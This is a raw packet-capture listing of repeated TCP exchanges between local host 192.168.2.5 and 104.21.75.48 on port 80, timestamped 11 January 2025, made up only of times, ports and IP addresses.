Jan 11, 2025 06:50:57.682907104 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.682921886 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.682948112 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.682986975 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683032990 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683058023 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683109045 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683125019 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683156013 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683207035 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683259964 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683286905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683336973 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683408022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683464050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683495998 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683552027 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683583021 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683628082 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683670044 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683711052 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683733940 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683785915 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683815002 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683856010 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683897018 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.683938026 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.683965921 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684021950 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684052944 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684092045 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684139013 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684180021 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684222937 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684266090 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684290886 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684330940 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684371948 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684412956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684433937 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684474945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684499979 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684540987 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684566021 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684607029 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684632063 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684686899 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684717894 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684763908 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684782028 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684844017 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684884071 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684909105 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.684931040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.684969902 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685012102 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685060024 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685077906 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685122967 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685138941 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685178995 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685205936 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685242891 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685295105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685336113 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685359001 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685396910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685440063 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685492039 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685519934 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685570955 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685599089 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685657024 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685683012 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685723066 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685745001 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685784101 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685810089 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685863972 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.685890913 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685936928 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.685966969 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686003923 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686029911 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686057091 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686089993 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686110973 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686135054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686175108 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686201096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686248064 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686269045 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686312914 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686336040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686374903 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686402082 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686440945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686464071 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686503887 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686532021 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686580896 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686594963 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686623096 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686654091 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686697006 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686719894 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686772108 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686785936 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686810970 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686849117 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686887980 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686912060 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.686954021 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.686976910 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687015057 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687041998 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687086105 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687108040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687149048 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687176943 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687222004 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687242985 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687297106 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687331915 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687331915 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687391996 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687442064 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687464952 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687506914 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687530041 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687567949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687592983 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687630892 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687659025 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687705040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687733889 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687750101 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687778950 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687819004 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687844038 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687884092 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.687908888 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687961102 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.687979937 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688016891 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688039064 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688077927 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688102961 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688142061 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688169003 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688206911 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688234091 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688292027 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688306093 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688335896 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688365936 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688410044 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688431978 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688469887 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688494921 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688539982 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688560963 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688605070 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688627958 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688667059 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688693047 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688731909 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688756943 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688795090 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688829899 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688868999 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688895941 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.688940048 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.688958883 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689001083 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689023018 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689065933 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689088106 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689132929 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689153910 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689193010 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689220905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689263105 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689286947 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689337969 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689354897 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689397097 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689421892 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689464092 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689490080 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689534903 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689558983 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689598083 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689624071 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689665079 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689688921 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689734936 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689759016 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689798117 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689825058 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689858913 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689892054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689929962 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.689950943 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.689990044 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690016985 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690058947 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690080881 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690121889 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690145016 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690190077 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690215111 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690264940 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690284014 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690321922 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690351963 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690396070 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690412045 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690435886 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690465927 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690512896 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690542936 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690557957 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690584898 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690627098 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690653086 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690690994 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690716982 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690758944 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690784931 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690828085 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690850019 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690891027 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690918922 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.690958977 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.690983057 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.691024065 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.691049099 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.691093922 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.691113949 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.691158056 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.691180944 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.691224098 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.691246033 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.691288948 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.691328049 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.691370964 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.769243002 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.769316912 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.769380093 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.769424915 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.769471884 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.769515991 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.769562006 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.769613028 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.769644022 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.769659042 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.769691944 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.769731998 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.769774914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.769817114 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.769860029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.769901991 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.769943953 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.769984961 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770025969 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770067930 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770107031 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770149946 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770176888 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770216942 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770242929 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770276070 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770299911 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770334959 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770363092 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770407915 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770430088 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770471096 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770497084 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770536900 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770560980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770611048 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770628929 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770670891 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770694971 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770741940 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770761967 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770801067 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770847082 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770890951 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770915985 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.770955086 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.770998001 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771038055 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771080017 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771122932 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771166086 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771204948 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771233082 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771274090 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771301985 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771344900 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771384001 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771433115 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771452904 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771500111 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771521091 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771562099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771583080 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771626949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771648884 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771707058 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771722078 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771755934 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771785975 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771825075 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771853924 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771893024 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.771919012 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.771959066 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772005081 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772038937 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772068977 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772111893 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772136927 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772176981 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772200108 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772239923 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772281885 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772320986 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772361994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772406101 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772449970 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772490025 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772533894 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772576094 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772617102 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772656918 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772702932 CET	80	49704	104.21.75.48	192.168.2.5
